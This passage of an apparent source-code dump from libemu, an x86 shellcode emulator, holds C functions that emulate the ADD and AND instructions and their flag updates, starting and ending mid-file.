+)\n\n\t\t}\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/add.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation)\t\\\nINSTR_CALC(bits, a, b, c, operation)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_CF(cpu, operation)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_OF(cpu, operation,bits)\t\t\t\t\t\t\t\t\n\n\n#define TRACK_INIT_ALL_FLAGS(instruction_p) \\\nTRACK_INIT_EFLAG(instruction_p, f_zf); \\\nTRACK_INIT_EFLAG(instruction_p, f_pf); \\\nTRACK_INIT_EFLAG(instruction_p, f_sf); \\\nTRACK_INIT_EFLAG(instruction_p, f_cf); \\\nTRACK_INIT_EFLAG(instruction_p, f_of); \n\n\nint32_t instr_add_00(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 00 /r\n\t * Add r8 to r/m8\n\t * ADD r/m8,r8     \n\t */\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t +)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_add_01(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\t\t\t/* 01 /r\n\t\t\t * Add r16 to r/m16\n\t\t\t * ADD r/m16,r16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 01 /r\n\t\t\t * Add r32 to r/m32\n\t\t\t * ADD r/m32,r32   \n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 01 /r\n\t\t\t * Add r16 to r/m16\n\t\t\t * ADD r/m16,r16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 01 /r\n\t\t\t * Add r32 to r/m32\n\t\t\t * ADD r/m32,r32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_add_02(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 02 /r\n\t * Add r/m8 to r8\n\t * ADD r8,r/m8\n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t +)\n\t}\n\telse\n\t{\n//\t\t*c->reg8[i->modrm.opc] += *c->reg8[i->modrm.rm];\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_add_03(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\t\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 03 /r\n\t\t\t * Add r/m16 to r16\n\t\t\t * ADD r16,r/m16   \n\t\t\t */\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 03 /r\n\t\t\t * Add r/m32 to r32\n\t\t\t * ADD r32,r/m32   \n\t\t\t */\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 03 /r\n\t\t\t * Add r/m16 to r16\n\t\t\t * ADD r16,r/m16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 03 /r\n\t\t\t * Add r/m32 to r32\n\t\t\t * ADD r32,r/m32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t +)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_add_04(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 04 ib                    \n\t * Add imm8 to AL\n\t * ADD AL,imm8\n\t */\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t +)\n\treturn 0;\n}\n\nint32_t instr_add_05(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 05 iw\n\t\t * Add imm16 to AX\n\t\t * ADD AX,imm16\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t +)\n\t}\n\telse\n\t{\n\t\t/* 05 id\n\t\t * ADD EAX,imm32\n\t\t * Add imm32 to EAX\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_80_add(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t +)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t +)\n\t}\n\n\treturn 0;\n}\n\n\n\n\n\n\nint32_t instr_group_1_81_add(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /0 iw \n\t\t\t * Add imm16 to r/m16\n\t\t\t * ADD r/m16,imm16 \n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 81 /0 id \n\t\t\t * Add imm32 to r/m32\n\t\t\t * ADD r/m32,imm32 \n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 81 /0 iw \n\t\t\t * Add imm16 to r/m16\n\t\t\t * ADD r/m16,imm16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 81 /0 id \n\t\t\t * Add imm32 to r/m32\n\t\t\t * ADD r/m32,imm32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_1_83_add(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /0 ib \n\t\t\t * Add sign-extended imm8 to r/m16\n\t\t\t * ADD r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\n\n\t\t\t/* 83 /0 ib \n\t\t\t * Add sign-extended imm8 to r/m32\n\t\t\t * ADD r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t +)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /0 ib \n\t\t\t * Add sign-extended imm8 to r/m16\n\t\t\t * ADD r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t}\n\t\telse\n\t\t{\n\n\n\t\t\t/* 83 /0 ib \n\t\t\t * Add sign-extended imm8 to r/m32\n\t\t\t * ADD r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t +)\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/and.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation)\t\\\nINSTR_CALC(bits, a, b, c, operation)\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu, f_of);\t\t\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu, f_cf);\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\n\n\n#define TRACK_INIT_ALL_FLAGS(instruction_p) \\\nTRACK_INIT_EFLAG(instruction_p, f_of); \\\nTRACK_INIT_EFLAG(instruction_p, f_cf); \\\nTRACK_INIT_EFLAG(instruction_p, f_zf); \\\nTRACK_INIT_EFLAG(instruction_p, f_pf); \\\nTRACK_INIT_EFLAG(instruction_p, f_sf); \n\nint32_t instr_and_20(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 20 /r\n\t * r/m8 AND r8\n\t * AND r/m8,r8  \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t &)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t &)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_and_21(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 21 /r\n\t\t\t * AND r/m16,r16\n\t\t\t * r/m16 AND r16\n\t\t\t */\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t &)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 21 /r\n\t\t\t * r/m32 AND r32\n\t\t\t * AND r/m32,r32   \n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t &)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 21 /r\n\t\t\t * AND r/m16,r16\n\t\t\t * r/m16 AND r16\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t &)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 21 /r\n\t\t\t * r/m32 AND r32\n\t\t\t * AND r/m32,r32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t &)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_and_22(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 22 /r\n\t * r8 AND r/m8\n\t * AND r8,r/m8     \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t &)\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t &)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_and_23(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\t\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 23 /r\n\t\t\t * r16 AND r/m16\n\t\t\t * AND r16,r/m16   \n\t\t\t */\n\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t &)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 23 /r\n\t\t\t * r32 AND r/m32\n\t\t\t * AND r32,r/m32   \n\t\t\t */\n\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t &)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 23 /r\n\t\t\t * r16 AND r/m16\n\t\t\t * AND r16,r/m16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t &)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 23 /r\n\t\t\t * r32 AND r/m32\n\t\t\t * AND r32,r/m32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t &)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_and_24(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 24 ib\n\t * AL AND imm8\n\t * AND AL,imm8\n\t */\n\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[eax], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t *c->reg8[eax], \n\t\t\t\t\t\t\t &)\n\treturn 0;\n}\n\nint32_t instr_and_25(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 25 iw    \n\t\t * AX AND imm16\n\t\t * AND AX,imm16    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t &)\n\t}\n\telse\n\t{\n\t\t/* 25 id\n\t\t * EAX AND imm32\n\t\t * AND EAX,imm32\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t &)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_80_and(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t 